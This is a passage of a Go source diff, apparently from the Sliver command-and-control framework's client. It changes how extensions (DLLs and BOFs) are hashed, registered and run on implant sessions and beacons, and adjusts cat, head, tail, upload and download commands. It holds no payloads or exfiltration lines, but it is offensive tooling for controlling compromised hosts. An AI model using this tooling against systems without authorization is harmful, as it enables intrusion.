||||
}
|
||||
}
|
||||
if err != nil {
|
||||
@@ -119,7 +143,7 @@ func InstallFromDir(extLocalPath string, con *console.SliverClient, isGz bool) {
|
||||
}
|
||||
}
|
||||
|
||||
func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverClient) error {
|
||||
func installArtifact(extGzFilePath string, installPath string, artifactPath string) error {
|
||||
data, err := util.ReadFileFromTarGz(extGzFilePath, "."+filepath.ToSlash(artifactPath))
|
||||
if err != nil {
|
||||
return err
|
||||
|
||||
@@ -20,12 +20,111 @@ package extensions
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// ExtensionMatch holds the details of a matched extension
|
||||
|
||||
type ExtensionMatch struct {
|
||||
CommandName string
|
||||
Hash string
|
||||
BinPath string
|
||||
}
|
||||
|
||||
// FindExtensionMatches searches through loaded extensions for matching hashes
|
||||
// Returns a map of hash to ExtensionMatch (match will be nil if hash wasn't found)
|
||||
func FindExtensionMatches(targetHashes []string) map[string]*ExtensionMatch {
|
||||
results := make(map[string]*ExtensionMatch)
|
||||
pathCache := make(map[string]*ExtensionMatch)
|
||||
|
||||
// Initialize results map with all target hashes
|
||||
for _, hash := range targetHashes {
|
||||
results[hash] = nil
|
||||
}
|
||||
|
||||
// Search for matches
|
||||
for _, extCmd := range loadedExtensions {
|
||||
if extCmd == nil || len(extCmd.Files) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, file := range extCmd.Files {
|
||||
fullPath := filepath.Join(extCmd.Manifest.RootPath, file.Path)
|
||||
|
||||
// Check cache first
|
||||
var match *ExtensionMatch
|
||||
if cached, exists := pathCache[fullPath]; exists {
|
||||
match = cached
|
||||
} else {
|
||||
// Calculate hash if not cached
|
||||
fileData, err := os.ReadFile(fullPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
hashBytes := sha256.Sum256(fileData)
|
||||
fileHash := hex.EncodeToString(hashBytes[:])
|
||||
|
||||
match = &ExtensionMatch{
|
||||
CommandName: extCmd.CommandName,
|
||||
Hash: fileHash,
|
||||
BinPath: fullPath,
|
||||
}
|
||||
pathCache[fullPath] = match
|
||||
}
|
||||
|
||||
if slices.Contains(targetHashes, match.Hash) {
|
||||
results[match.Hash] = match
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
// PrintExtensionMatches prints the extension matches in a formatted table
|
||||
func PrintExtensionMatches(matches map[string]*ExtensionMatch, con *console.SliverClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Command Name",
|
||||
"Sha256 Hash",
|
||||
"Bin Path",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Command Name", Mode: table.Asc},
|
||||
})
|
||||
|
||||
for hash, match := range matches {
|
||||
if match != nil {
|
||||
tw.AppendRow(table.Row{
|
||||
match.CommandName,
|
||||
hash,
|
||||
match.BinPath,
|
||||
})
|
||||
} else {
|
||||
tw.AppendRow(table.Row{
|
||||
"",
|
||||
hash,
|
||||
"",
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
con.Println(tw.Render())
|
||||
}
|
||||
|
||||
// ExtensionsListCmd - List all extension loaded on the active session/beacon.
|
||||
func ExtensionsListCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
@@ -45,10 +144,12 @@ func ExtensionsListCmd(cmd *cobra.Command, con *console.SliverClient, args []str
|
||||
con.PrintErrorf("%s\n", extList.Response.Err)
|
||||
return
|
||||
}
|
||||
if len(extList.Names) > 0 {
|
||||
con.PrintInfof("Loaded extensions:\n")
|
||||
for _, ext := range extList.Names {
|
||||
con.Printf("- %s\n", ext)
|
||||
}
|
||||
|
||||
if len(extList.Names) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Loaded extensions:\n\n")
|
||||
matches := FindExtensionMatches(extList.Names)
|
||||
PrintExtensionMatches(matches, con)
|
||||
}
|
||||
@@ -21,6 +21,8 @@ package extensions
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
@@ -37,6 +39,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/packages"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
@@ -77,6 +80,7 @@ type ExtensionManifest_ struct {
|
||||
|
||||
type ExtensionManifest struct {
|
||||
Name string `json:"name"`
|
||||
PackageName string `json:"package_name"`
|
||||
Version string `json:"version"`
|
||||
ExtensionAuthor string `json:"extension_author"`
|
||||
OriginalAuthor string `json:"original_author"`
|
||||
@@ -84,17 +88,21 @@ type ExtensionManifest struct {
|
||||
|
||||
ExtCommand []*ExtCommand `json:"commands"`
|
||||
|
||||
RootPath string `json:"-"`
|
||||
RootPath string `json:"-"`
|
||||
ArmoryName string `json:"-"`
|
||||
ArmoryPK string `json:"-"`
|
||||
}
|
||||
|
||||
type ExtCommand struct {
|
||||
CommandName string `json:"command_name"`
|
||||
Help string `json:"help"`
|
||||
LongHelp string `json:"long_help"`
|
||||
Files []*extensionFile `json:"files"`
|
||||
Arguments []*extensionArgument `json:"arguments"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
DependsOn string `json:"depends_on"`
|
||||
CommandName string `json:"command_name"`
|
||||
Help string `json:"help"`
|
||||
LongHelp string `json:"long_help"`
|
||||
Files []*extensionFile `json:"files"`
|
||||
Arguments []*extensionArgument `json:"arguments"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
DependsOn string `json:"depends_on"`
|
||||
Init string `json:"init"`
|
||||
Schema *packages.OutputSchema `json:"schema"`
|
||||
|
||||
Manifest *ExtensionManifest
|
||||
}
|
||||
@@ -108,17 +116,24 @@ type extensionFile struct {
|
||||
}
|
||||
|
||||
type extensionArgument struct {
|
||||
Name string `json:"name"`
|
||||
Type string `json:"type"`
|
||||
Desc string `json:"desc"`
|
||||
Optional bool `json:"optional"`
|
||||
Name string `json:"name"`
|
||||
Type string `json:"type"`
|
||||
Desc string `json:"desc"`
|
||||
Optional bool `json:"optional"`
|
||||
Default interface{} `json:"default,omitempty"`
|
||||
}
|
||||
|
||||
func (e *ExtCommand) getFileForTarget(targetOS string, targetArch string) (string, error) {
|
||||
filePath := ""
|
||||
for _, extFile := range e.Files {
|
||||
if targetOS == extFile.OS && targetArch == extFile.Arch {
|
||||
filePath = path.Join(assets.GetExtensionsDir(), e.Manifest.Name, extFile.Path)
|
||||
if e.Manifest.RootPath != "" {
|
||||
// Use RootPath for temporarily loaded extensions
|
||||
filePath = path.Join(e.Manifest.RootPath, extFile.Path)
|
||||
} else {
|
||||
// Fall back to extensions dir for installed extensions
|
||||
filePath = path.Join(assets.GetExtensionsDir(), e.Manifest.Name, extFile.Path)
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
@@ -133,17 +148,26 @@ func (e *ExtCommand) getFileForTarget(targetOS string, targetArch string) (strin
|
||||
return filePath, nil
|
||||
}
|
||||
|
||||
// ExtensionLoadCmd - Load extension command.
|
||||
// ExtensionLoadCmd - Temporarily installs an extension from a local directory into the client.
|
||||
// The extension must contain a valid manifest file. If commands from the extension
|
||||
// already exist, the user will be prompted to overwrite them.
|
||||
func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
dirPath := args[0]
|
||||
// dirPath := ctx.Args.String("dir-path")
|
||||
manyfest, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
|
||||
|
||||
// Add directory check
|
||||
fileInfo, err := os.Stat(dirPath)
|
||||
if err != nil || !fileInfo.IsDir() {
|
||||
con.PrintErrorf("Path is not a directory: %s\n", dirPath)
|
||||
return
|
||||
}
|
||||
|
||||
manifest, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
// do not add if the command already exists
|
||||
sliverMenu := con.App.Menu("implant")
|
||||
for _, extCmd := range manyfest.ExtCommand {
|
||||
for _, extCmd := range manifest.ExtCommand {
|
||||
if CmdExists(extCmd.CommandName, sliverMenu.Command) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
|
||||
confirm := false
|
||||
@@ -158,7 +182,11 @@ func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
|
||||
}
|
||||
}
|
||||
|
||||
// LoadExtensionManifest - Parse extension files.
|
||||
// LoadExtensionManifest loads and parses an extension manifest file from the given path.
|
||||
// It registers each command defined in the manifest into the loadedExtensions map
|
||||
// and registers the complete manifest into loadedManifests. A single manifest may
|
||||
// contain multiple extension commands. The manifest's RootPath is set to its containing
|
||||
// directory. Returns the parsed manifest and any errors encountered.
|
||||
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
|
||||
data, err := os.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
@@ -180,7 +208,7 @@ func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
|
||||
|
||||
func convertOldManifest(old *ExtensionManifest_) *ExtensionManifest {
|
||||
ret := &ExtensionManifest{
|
||||
Name: old.CommandName, //treating old commandname as the manifest name to avoid weird chars mostly
|
||||
Name: old.CommandName, //treating old command name as the manifest name to avoid weird chars mostly
|
||||
Version: old.Version,
|
||||
ExtensionAuthor: old.ExtensionAuthor,
|
||||
OriginalAuthor: old.OriginalAuthor,
|
||||
@@ -196,6 +224,7 @@ func convertOldManifest(old *ExtensionManifest_) *ExtensionManifest {
|
||||
Entrypoint: old.Entrypoint,
|
||||
Files: old.Files,
|
||||
Arguments: old.Arguments,
|
||||
Schema: nil,
|
||||
},
|
||||
},
|
||||
}
|
||||
@@ -211,7 +240,9 @@ func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
|
||||
err := json.Unmarshal(data, &extManifest)
|
||||
if err != nil || len(extManifest.ExtCommand) == 0 { //extensions must have at least one command to be sensible
|
||||
//maybe it's an old manifest
|
||||
log.Println(err)
|
||||
if err != nil {
|
||||
log.Printf("extension load error: %s", err)
|
||||
}
|
||||
oldmanifest := &ExtensionManifest_{}
|
||||
err := json.Unmarshal(data, &oldmanifest)
|
||||
if err != nil {
|
||||
@@ -221,9 +252,13 @@ func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
|
||||
//yes, ok, lets jigger it to a new manifest
|
||||
extManifest = convertOldManifest(oldmanifest)
|
||||
}
|
||||
//pass ref to manifest to each command
|
||||
//pass ref to manifest to each command and initialize output schema if applicable
|
||||
for i := range extManifest.ExtCommand {
|
||||
extManifest.ExtCommand[i].Manifest = extManifest
|
||||
command := extManifest.ExtCommand[i]
|
||||
command.Manifest = extManifest
|
||||
if command.Schema != nil {
|
||||
command.Schema.IngestColumns()
|
||||
}
|
||||
}
|
||||
return extManifest, validManifest(extManifest)
|
||||
}
|
||||
@@ -256,11 +291,22 @@ func validManifest(manifest *ExtensionManifest) error {
|
||||
if extManifest.Help == "" {
|
||||
return errors.New("missing `help` field in extension manifest")
|
||||
}
|
||||
if extManifest.Schema != nil {
|
||||
if !packages.IsValidSchemaType(extManifest.Schema.Name) {
|
||||
return fmt.Errorf("%s is not a valid schema type", extManifest.Schema.Name)
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ExtensionRegisterCommand - Register a new extension command
|
||||
// ExtensionRegisterCommand adds an extension command to the cobra command system.
|
||||
// It validates the extension's arguments, updates the loadedExtensions map, and
|
||||
// creates a cobra.Command with proper usage text, help documentation, and argument
|
||||
// handling. The command is added as a subcommand to the provided parent cobra.Command.
|
||||
// Arguments are displayed in the help text as uppercase, with optional args in square
|
||||
// brackets. The help text includes sections for command usage, description, and detailed
|
||||
// argument specifications.
|
||||
func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *console.SliverClient) {
|
||||
if errInvalidArgs := checkExtensionArgs(extCmd); errInvalidArgs != nil {
|
||||
con.PrintErrorf(errInvalidArgs.Error())
|
||||
@@ -268,7 +314,6 @@ func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *conso
|
||||
}
|
||||
|
||||
loadedExtensions[extCmd.CommandName] = extCmd
|
||||
//helpMsg := extCmd.Help
|
||||
|
||||
usage := strings.Builder{}
|
||||
usage.WriteString(extCmd.CommandName)
|
||||
@@ -320,9 +365,9 @@ func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *conso
|
||||
|
||||
// Command
|
||||
extensionCmd := &cobra.Command{
|
||||
Use: usage.String(), //extCmd.CommandName,
|
||||
//Short: helpMsg.String(), doesn't appear to be used?
|
||||
Long: help.FormatHelpTmpl(longHelp.String()),
|
||||
Use: usage.String(),
|
||||
Short: extCmd.Help,
|
||||
Long: help.FormatHelpTmpl(longHelp.String()),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
runExtensionCmd(cmd, con, args)
|
||||
},
|
||||
@@ -365,27 +410,50 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtCommand,
|
||||
}
|
||||
extensionList = extList.Names
|
||||
}
|
||||
depLoaded := false
|
||||
for _, extName := range extensionList {
|
||||
if !depLoaded {
|
||||
if extN, ok := loadedExtensions[cmd.Name()]; ok && extName == extN.DependsOn {
|
||||
depLoaded = true
|
||||
//extensionList contains all *implant* loaded extensions. Is a sha256 sum of the relevant file.
|
||||
|
||||
//get the file hash to compare against implant extensions later
|
||||
toberunfilepath, err := ext.getFileForTarget(goos, goarch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
//we need to check the dependent if it's a bof
|
||||
if ext.DependsOn != "" {
|
||||
//verify extension is in loaded list
|
||||
if extension, found := loadedExtensions[ext.DependsOn]; found {
|
||||
toberunfilepath, err = extension.getFileForTarget(goos, goarch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
// handle error
|
||||
return fmt.Errorf("attempted to load non-existing extension: %s", ext.DependsOn)
|
||||
}
|
||||
if extN, ok := loadedExtensions[cmd.Name()]; ok && extN.CommandName == extName {
|
||||
}
|
||||
|
||||
//todo, maybe cache these values somewhere
|
||||
toberunfiledata, err := os.ReadFile(toberunfilepath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(toberunfiledata) == 0 {
|
||||
//read an empty file, bail out
|
||||
return errors.New("read empty extension file content")
|
||||
}
|
||||
bd := sha256.Sum256(toberunfiledata)
|
||||
toberunhash := hex.EncodeToString(bd[:])
|
||||
|
||||
for _, extName := range extensionList {
|
||||
//check if extension we are trying to run (ext.CommandName or ext.DependsOn, for bofs) is already loaded
|
||||
if extName == toberunhash {
|
||||
//exists on the other side, exit early
|
||||
return nil
|
||||
}
|
||||
}
|
||||
// Extension not found, let's load it
|
||||
if filepath.Ext(binPath) == ".o" {
|
||||
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
|
||||
// Auto load the coff loader if we have it
|
||||
if !depLoaded {
|
||||
if errLoad := loadDep(goos, goarch, ext.DependsOn, cmd, con); errLoad != nil {
|
||||
return errLoad
|
||||
}
|
||||
}
|
||||
return nil
|
||||
// BOFs are not loaded by the DLL loader, but we need to load the loader (more load more good)
|
||||
if ext.DependsOn != "" {
|
||||
return loadDep(goos, goarch, ext.DependsOn, cmd, con)
|
||||
}
|
||||
binData, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
@@ -398,13 +466,44 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtCommand,
|
||||
}
|
||||
|
||||
func registerExtension(goos string, ext *ExtCommand, binData []byte, cmd *cobra.Command, con *console.SliverClient) error {
|
||||
//set extension name to a hash of the data to avoid loading more than one instance
|
||||
bd := sha256.Sum256(binData)
|
||||
name := hex.EncodeToString(bd[:])
|
||||
sess, beac := con.ActiveTarget.GetInteractive()
|
||||
ctrl := make(chan bool)
|
||||
//first time run of an extension will require some waiting depending on the size
|
||||
if sess != nil {
|
||||
msg := fmt.Sprintf("Sending %s to implant ...", ext.CommandName)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
}
|
||||
//don't block if we are in beacon mode
|
||||
if beac != nil && sess == nil {
|
||||
go func() {
|
||||
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: name,
|
||||
Data: binData,
|
||||
OS: goos,
|
||||
Init: ext.Init,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error registering extension: %s\n", err)
|
||||
}
|
||||
if registerResp.Response != nil && registerResp.Response.Err != "" {
|
||||
con.PrintErrorf("Error registering extension: %s\n", errors.New(registerResp.Response.Err))
|
||||
}
|
||||
}()
|
||||
return nil
|
||||
}
|
||||
//session mode (hopefully)
|
||||
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: ext.CommandName,
|
||||
Data: binData,
|
||||
OS: goos,
|
||||
//Init: ext.Init, ?
|
||||
Name: name,
|
||||
Data: binData,
|
||||
OS: goos,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -486,11 +585,11 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
extName = ext.DependsOn
|
||||
entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
|
||||
} else {
|
||||
// Regular DLL
|
||||
extensionArgs, err = getExtArgs(cmd, args, binPath, ext)
|
||||
if err != nil {
|
||||
con.PrintErrorf("ext args error: %s\n", err)
|
||||
return
|
||||
// Regular DLL - Just join the arguments with spaces
|
||||
if len(args) > 0 {
|
||||
extensionArgs = []byte(strings.Join(args, " "))
|
||||
} else {
|
||||
extensionArgs = []byte{}
|
||||
}
|
||||
extName = ext.CommandName
|
||||
entryPoint = ext.Entrypoint
|
||||
@@ -499,8 +598,41 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s ...", cmd.Name())
|
||||
con.SpinUntil(msg, ctrl)
|
||||
extdata, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("ext read file error: %s\n", err)
|
||||
}
|
||||
bd := sha256.Sum256(extdata)
|
||||
name := hex.EncodeToString(bd[:])
|
||||
if isBOF {
|
||||
//if we are using a bof, we are actually calling the coffloader extension - so get the file from dep ref and use that shasum
|
||||
|
||||
if extension, found := loadedExtensions[ext.DependsOn]; found {
|
||||
dep, err := extension.getFileForTarget(goos, goarch)
|
||||
if err != nil {
|
||||
con.PrintErrorf("could not get file for extension %s", ext.DependsOn)
|
||||
return
|
||||
}
|
||||
depdata, err := os.ReadFile(dep)
|
||||
if err != nil {
|
||||
con.PrintErrorf("dep read file error: %s\n", err)
|
||||
return
|
||||
}
|
||||
if len(depdata) == 0 {
|
||||
con.PrintErrorf("read empty file: %s\n", dep)
|
||||
return
|
||||
}
|
||||
bd = sha256.Sum256(depdata)
|
||||
name = hex.EncodeToString(bd[:])
|
||||
} else {
|
||||
// handle error
|
||||
con.PrintErrorf("attempted to load non-existing extension: %s", ext.DependsOn)
|
||||
return
|
||||
}
|
||||
|
||||
}
|
||||
callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
|
||||
Name: extName,
|
||||
Name: name,
|
||||
Export: entryPoint,
|
||||
Args: extensionArgs,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
@@ -519,23 +651,38 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
|
||||
PrintExtOutput(extName, ext.CommandName, ext.Schema, callExtResp, con)
|
||||
})
|
||||
con.PrintAsyncResponse(callExtResp.Response)
|
||||
} else {
|
||||
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
|
||||
PrintExtOutput(extName, ext.CommandName, ext.Schema, callExtResp, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintExtOutput - Print the ext execution output.
|
||||
func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverClient) {
|
||||
func PrintExtOutput(extName string, commandName string, outputSchema *packages.OutputSchema, callExtension *sliverpb.CallExtension, con *console.SliverClient) {
|
||||
if extName == commandName {
|
||||
con.PrintInfof("Successfully executed %s", extName)
|
||||
con.PrintInfof("Successfully executed %s\n", extName)
|
||||
} else {
|
||||
con.PrintInfof("Successfully executed %s (%s)", commandName, extName)
|
||||
con.PrintInfof("Successfully executed %s (%s)\n", commandName, extName)
|
||||
}
|
||||
if 0 < len(string(callExtension.Output)) {
|
||||
con.PrintInfof("Got output:\n%s", callExtension.Output)
|
||||
if outputSchema == nil {
|
||||
con.PrintInfof("Got output:\n%s", callExtension.Output)
|
||||
} else {
|
||||
// Get output schema
|
||||
schema := packages.GetNewPackageOutput(outputSchema.Name)
|
||||
if schema != nil {
|
||||
ingestErr := schema.IngestData(callExtension.Output, outputSchema.Columns(), outputSchema.GroupBy)
|
||||
if ingestErr != nil {
|
||||
con.PrintInfof("Got output:\n%s", callExtension.Output)
|
||||
} else {
|
||||
con.Printf("%s\n", schema.CreateTable())
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("Got output:\n%s", callExtension.Output)
|
||||
}
|
||||
}
|
||||
}
|
||||
if callExtension.Response != nil && callExtension.Response.Err != "" {
|
||||
con.PrintErrorf(callExtension.Response.Err)
|
||||
@@ -543,7 +690,7 @@ func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.
|
||||
}
|
||||
}
|
||||
|
||||
func getExtArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtCommand) ([]byte, error) {
|
||||
func getExtArgs(_ *cobra.Command, args []string, _ string, ext *ExtCommand) ([]byte, error) {
|
||||
var err error
|
||||
argsBuffer := core.BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
@@ -553,7 +700,7 @@ func getExtArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtComma
|
||||
missingRequiredArgs := make([]string, 0)
|
||||
|
||||
// If we have an extension that expects a single string, but more than one has been parsed, combine them
|
||||
if len(ext.Arguments) == 1 && strings.Contains(ext.Arguments[0].Type, "string") {
|
||||
if len(ext.Arguments) == 1 && strings.Contains(ext.Arguments[0].Type, "string") && len(args) > 0 {
|
||||
// The loop below will only read the first element of args because ext.Arguments is 1
|
||||
args[0] = strings.Join(args, " ")
|
||||
}
|
||||
@@ -650,7 +797,7 @@ func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtComma
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
parsedArgs, err := getExtArgs(cmd, args, binPath, ext)
|
||||
parsedArgs, err := ParseFlagArgumentsToBuffer(cmd, args, binPath, ext)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -23,6 +23,7 @@ import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
@@ -86,12 +87,35 @@ func RemoveExtensionByManifestName(manifestName string, con *console.SliverClien
|
||||
return false, errors.New("command name is required")
|
||||
}
|
||||
if man, ok := loadedManifests[manifestName]; ok {
|
||||
//foudn the manifest
|
||||
//delet it
|
||||
extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestName))
|
||||
// Found the manifest
|
||||
var extPath string
|
||||
if man.RootPath != "" {
|
||||
// Use RootPath for temporarily loaded extensions
|
||||
extPath = man.RootPath
|
||||
} else {
|
||||
// Fall back to extensions dir for installed extensions
|
||||
extPath = filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestName))
|
||||
}
|
||||
|
||||
if _, err := os.Stat(extPath); os.IsNotExist(err) {
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// If path is outside extensions directory, prompt for confirmation
|
||||
if !strings.HasPrefix(extPath, assets.GetExtensionsDir()) {
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' extension directory from filesystem?", manifestName)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
// Skip the forceRemoveAll but continue with the rest
|
||||
delete(loadedManifests, manifestName)
|
||||
for _, cmd := range man.ExtCommand {
|
||||
delete(loadedExtensions, cmd.CommandName)
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
}
|
||||
|
||||
forceRemoveAll(extPath)
|
||||
delete(loadedManifests, manifestName)
|
||||
for _, cmd := range man.ExtCommand {
|
||||
|
||||
@@ -23,6 +23,7 @@ import (
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/alecthomas/chroma/formatters"
|
||||
"github.com/alecthomas/chroma/lexers"
|
||||
@@ -72,16 +73,16 @@ func CatCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintCat(download, cmd, con)
|
||||
PrintCat(filePath, download, cmd, con)
|
||||
})
|
||||
con.PrintAsyncResponse(download.Response)
|
||||
} else {
|
||||
PrintCat(download, cmd, con)
|
||||
PrintCat(filePath, download, cmd, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintCat - Print the download to stdout.
|
||||
func PrintCat(download *sliverpb.Download, cmd *cobra.Command, con *console.SliverClient) {
|
||||
func PrintCat(originalFileName string, download *sliverpb.Download, cmd *cobra.Command, con *console.SliverClient) {
|
||||
var (
|
||||
lootDownload bool = true
|
||||
err error
|
||||
@@ -108,6 +109,9 @@ func PrintCat(download *sliverpb.Download, cmd *cobra.Command, con *console.Sliv
|
||||
con.Printf("\n")
|
||||
}
|
||||
}
|
||||
if !strings.Contains(download.Path, originalFileName) {
|
||||
con.PrintInfof("Supplied pattern %s matched file %s\n\n", originalFileName, download.Path)
|
||||
}
|
||||
if color, _ := cmd.Flags().GetBool("colorize-output"); color {
|
||||
if err = colorize(download); err != nil {
|
||||
con.Println(string(download.Data))
|
||||
|
||||
@@ -188,6 +188,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.Bind("", false, uploadCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("ioc", "i", false, "track uploaded file as an ioc")
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
f.BoolP("overwrite", "o", false, "overwrite file if it exists")
|
||||
})
|
||||
carapace.Gen(uploadCmd).PositionalCompletion(
|
||||
carapace.ActionFiles().Usage("local path to the file to upload"),
|
||||
@@ -294,7 +295,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)")
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
f.Int64P("bytes", "b", 0, "Grab the first number of bytes from the file")
|
||||
f.Int64P("lines", "l", 0, "Grab the first number of lines from the file")
|
||||
f.Int64P("lines", "l", 10, "Grab the first number of lines from the file")
|
||||
})
|
||||
carapace.Gen(headCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print"))
|
||||
|
||||
@@ -321,7 +322,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)")
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
f.Int64P("bytes", "b", 0, "Grab the last number of bytes from the file")
|
||||
f.Int64P("lines", "l", 0, "Grab the last number of lines from the file")
|
||||
f.Int64P("lines", "l", 10, "Grab the last number of lines from the file")
|
||||
})
|
||||
carapace.Gen(tailCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print"))
|
||||
|
||||
|
||||
@@ -97,9 +97,7 @@ func prettifyDownloadName(path string) string {
|
||||
filteredString = multipleUnderscoreRegex.ReplaceAllString(filteredString, "_")
|
||||
|
||||
// If there is an underscore at the front of the filename, strip that off
|
||||
if strings.HasPrefix(filteredString, "_") {
|
||||
filteredString = filteredString[1:]
|
||||
}
|
||||
filteredString, _ = strings.CutPrefix(filteredString, "_")
|
||||
|
||||
return filteredString
|
||||
}
|
||||
@@ -118,7 +116,15 @@ func HandleDownloadResponse(download *sliverpb.Download, cmd *cobra.Command, arg
|
||||
}
|
||||
}
|
||||
|
||||
remotePath := args[0]
|
||||
// Use download.Path because a glob matching a single file on the remote will not have the
|
||||
// correct file name - the filename will contain the globs if we use the path from the user
|
||||
